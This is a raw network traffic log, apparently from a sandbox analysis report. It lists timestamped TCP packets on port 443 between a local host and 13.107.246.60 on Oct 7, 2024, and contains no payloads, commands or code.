Oct 7, 2024 06:44:48.371026039 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.371030092 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.371042967 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.371046066 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.399499893 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.399672985 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.399820089 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.399883032 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.399909019 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.399923086 CEST	49936	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.399930954 CEST	443	49936	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.402877092 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.402913094 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.402997971 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.403171062 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.403182030 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.407980919 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.408406973 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.408417940 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.408865929 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.408870935 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.419059992 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.419934034 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.420006037 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.420031071 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.420039892 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.420052052 CEST	49938	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.420058966 CEST	443	49938	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.422667027 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.422728062 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.422797918 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.422935963 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.422949076 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.505744934 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.505908966 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.506073952 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.506109953 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.506124973 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.506138086 CEST	49939	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.506144047 CEST	443	49939	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.508968115 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.508994102 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:48.509273052 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.509448051 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:48.509463072 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.004869938 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.005574942 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.005601883 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.005955935 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.005963087 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.049698114 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.050210953 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.050280094 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.050302029 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.050535917 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.050542116 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.050591946 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.050597906 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.051083088 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.051088095 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.087325096 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.087824106 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.087832928 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.088157892 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.088160992 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.103660107 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.103699923 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.103761911 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.103763103 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.103810072 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.103971004 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.103988886 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.103997946 CEST	49940	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.104002953 CEST	443	49940	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.106654882 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.106761932 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.106918097 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.107070923 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.107095003 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.150228977 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.150444984 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.150506020 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.150542021 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.150557995 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.150568962 CEST	49942	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.150574923 CEST	443	49942	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153223991 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153256893 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153350115 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153522968 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153685093 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153724909 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153767109 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153783083 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153812885 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153816938 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.153836966 CEST	49941	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.153840065 CEST	443	49941	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.155677080 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.155715942 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.155780077 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.155886889 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.155899048 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.171955109 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.172327995 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.172338963 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.172765970 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.172771931 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189232111 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189297915 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189356089 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.189366102 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189400911 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189446926 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.189461946 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.189469099 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.189479113 CEST	49943	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.189482927 CEST	443	49943	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.191353083 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.191395998 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.191468000 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.191627026 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.191642046 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.274609089 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.274779081 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.274846077 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.274935961 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.274955034 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.274969101 CEST	49944	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.274976969 CEST	443	49944	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.277792931 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.277846098 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.277924061 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.278094053 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.278106928 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.746005058 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.746474028 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.746486902 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.746953011 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.746958971 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.786570072 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.786930084 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.786941051 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.787374973 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.787379980 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.809051037 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.809551001 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.809566021 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.810264111 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.810271978 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.835962057 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.836523056 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.836540937 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.836930037 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.836935997 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844465017 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844536066 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844590902 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.844604969 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844662905 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844707012 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.844736099 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844748974 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.844748974 CEST	49945	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.844758987 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.844768047 CEST	443	49945	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.848566055 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.848612070 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.848694086 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.848834038 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.848844051 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.886895895 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.886972904 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.887016058 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.887125969 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.887134075 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.887146950 CEST	49946	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.887151957 CEST	443	49946	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.889440060 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.889471054 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.889544964 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.889668941 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.889683962 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.910955906 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.911031961 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.911147118 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.911180973 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.911200047 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.911211967 CEST	49947	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.911218882 CEST	443	49947	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.913026094 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.913039923 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.913091898 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.913204908 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.913217068 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.934530973 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.934715033 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.934761047 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.934809923 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.934818029 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.934828997 CEST	49948	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.934833050 CEST	443	49948	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.936793089 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.936827898 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.936883926 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.936990976 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.937000990 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.946342945 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.946700096 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.946707964 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:49.947062016 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:49.947066069 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048208952 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048305035 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048369884 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.048396111 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048469067 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048532009 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.048593044 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.048608065 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.048640966 CEST	49949	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.048645973 CEST	443	49949	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.051430941 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.051457882 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.051548004 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.051701069 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.051707029 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.494252920 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.494704008 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.494725943 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.495153904 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.495158911 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.562153101 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.562625885 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.562647104 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.563074112 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.563080072 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.576725960 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.577111006 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.577140093 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.577518940 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.577523947 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.590646982 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.591161013 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.591223001 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.591267109 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.591285944 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.591295004 CEST	49950	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.591300964 CEST	443	49950	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.593640089 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.593682051 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.593758106 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.593883991 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.593892097 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.598819017 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.599116087 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.599128008 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.599509954 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.599514008 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.667134047 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.667248964 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.667447090 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.667660952 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.667680025 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.667716026 CEST	49951	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.667721987 CEST	443	49951	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.670422077 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.670469046 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.670552969 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.670731068 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.670747995 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.676835060 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.677194118 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.677376986 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.677450895 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.677469015 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.677478075 CEST	49953	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.677483082 CEST	443	49953	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.679629087 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.679723024 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.679819107 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.679933071 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.679969072 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.702637911 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.702817917 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.702886105 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.702914953 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.702929974 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.702939034 CEST	49952	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.702944040 CEST	443	49952	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.704911947 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.704994917 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.705073118 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.705182076 CEST	49958	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.705204010 CEST	443	49958	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.717736006 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.718108892 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.718131065 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.718559027 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.718564034 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.819305897 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.819493055 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.819559097 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.819778919 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.819797993 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.819808006 CEST	49954	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.819813013 CEST	443	49954	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.824748993 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.824788094 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:50.824840069 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.825021982 CEST	49959	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:50.825050116 CEST	443	49959	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.261168003 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.261778116 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.261797905 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.262223959 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.262232065 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.307684898 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.308410883 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.308459044 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.308933020 CEST	49956	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.308942080 CEST	443	49956	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.316009045 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.316392899 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.316472054 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.316987991 CEST	49957	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.317002058 CEST	443	49957	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.360438108 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.360629082 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.360702038 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.360796928 CEST	49955	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:51.360821009 CEST	443	49955	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:51.360833883 CEST	49955	443	192.168.2.7	13.107.246.60
